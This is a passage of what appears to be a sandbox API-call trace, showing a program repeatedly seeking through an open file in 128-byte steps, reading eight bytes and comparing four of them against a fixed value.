[0069.078] SetFilePointer (in: hFile=0xc8, lDistanceToMove=26112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6600 [0069.078] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.078] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.078] SetFilePointer (in: hFile=0xc8, lDistanceToMove=26240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6680 [0069.078] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.078] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.078] SetFilePointer (in: hFile=0xc8, lDistanceToMove=26368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6700 [0069.078] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.078] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.078] SetFilePointer (in: hFile=0xc8, lDistanceToMove=26496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6780 [0069.078] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.078] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.078] SetFilePointer (in: hFile=0xc8, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800 [0069.078] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.079] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.079] SetFilePointer (in: hFile=0xc8, lDistanceToMove=26752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6880 [0069.079] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.079] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.079] SetFilePointer (in: hFile=0xc8, lDistanceToMove=26880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6900 [0069.079] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.079] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.079] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6980 [0069.079] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.079] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.079] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a00 [0069.079] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.079] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.079] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a80 [0069.079] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.079] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.079] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b00 [0069.079] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.079] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.079] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b80 [0069.079] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.079] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.079] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00 [0069.079] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.079] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.079] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c80 [0069.079] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.079] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.079] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d00 [0069.079] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.079] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.079] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d80 [0069.079] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.079] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.079] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00 [0069.079] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.079] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.079] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e80 [0069.079] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.080] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.080] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f00 [0069.080] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.080] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.080] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f80 [0069.080] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.080] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.080] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000 [0069.080] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.080] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.080] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7080 [0069.080] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.080] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.080] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7100 [0069.080] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.080] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.080] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7180 [0069.080] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.080] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.080] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200 [0069.080] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.080] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.080] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7280 [0069.080] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.080] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.080] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7300 [0069.080] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.080] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.080] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7380 [0069.080] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.080] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.080] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400 [0069.080] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.080] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.080] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7480 [0069.080] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.080] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.080] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29952, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7500 [0069.080] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.081] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.081] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7580 [0069.081] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.081] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.081] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7600 [0069.081] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.081] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.081] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7680 [0069.081] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.081] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.081] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7700 [0069.081] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.081] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.081] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7780 [0069.081] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.081] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.081] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7800 [0069.081] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.081] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.081] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7880 [0069.081] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.081] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.081] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7900 [0069.081] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.081] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.081] SetFilePointer (in: hFile=0xc8, lDistanceToMove=31104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7980 [0069.081] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.081] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.081] SetFilePointer (in: hFile=0xc8, lDistanceToMove=31232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a00 [0069.081] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.081] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.081] SetFilePointer (in: hFile=0xc8, lDistanceToMove=31360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a80 [0069.081] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.081] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.081] SetFilePointer (in: hFile=0xc8, lDistanceToMove=31488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b00 [0069.081] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.081] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.081] SetFilePointer (in: hFile=0xc8, lDistanceToMove=31616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b80 [0069.081] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.082] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.082] SetFilePointer (in: hFile=0xc8, lDistanceToMove=31744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c00 [0069.082] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.082] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.082] SetFilePointer (in: hFile=0xc8, lDistanceToMove=31872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c80 [0069.082] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.082] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.082] SetFilePointer (in: hFile=0xc8, lDistanceToMove=32000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d00 [0069.082] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.082] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.082] SetFilePointer (in: hFile=0xc8, lDistanceToMove=32128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d80 [0069.082] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.082] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.082] SetFilePointer (in: hFile=0xc8, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00 [0069.082] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.082] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.082] SetFilePointer (in: hFile=0xc8, lDistanceToMove=32384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e80 [0069.082] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.082] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.082] SetFilePointer (in: hFile=0xc8, lDistanceToMove=32512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f00 [0069.082] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.082] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.082] SetFilePointer (in: hFile=0xc8, lDistanceToMove=32640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 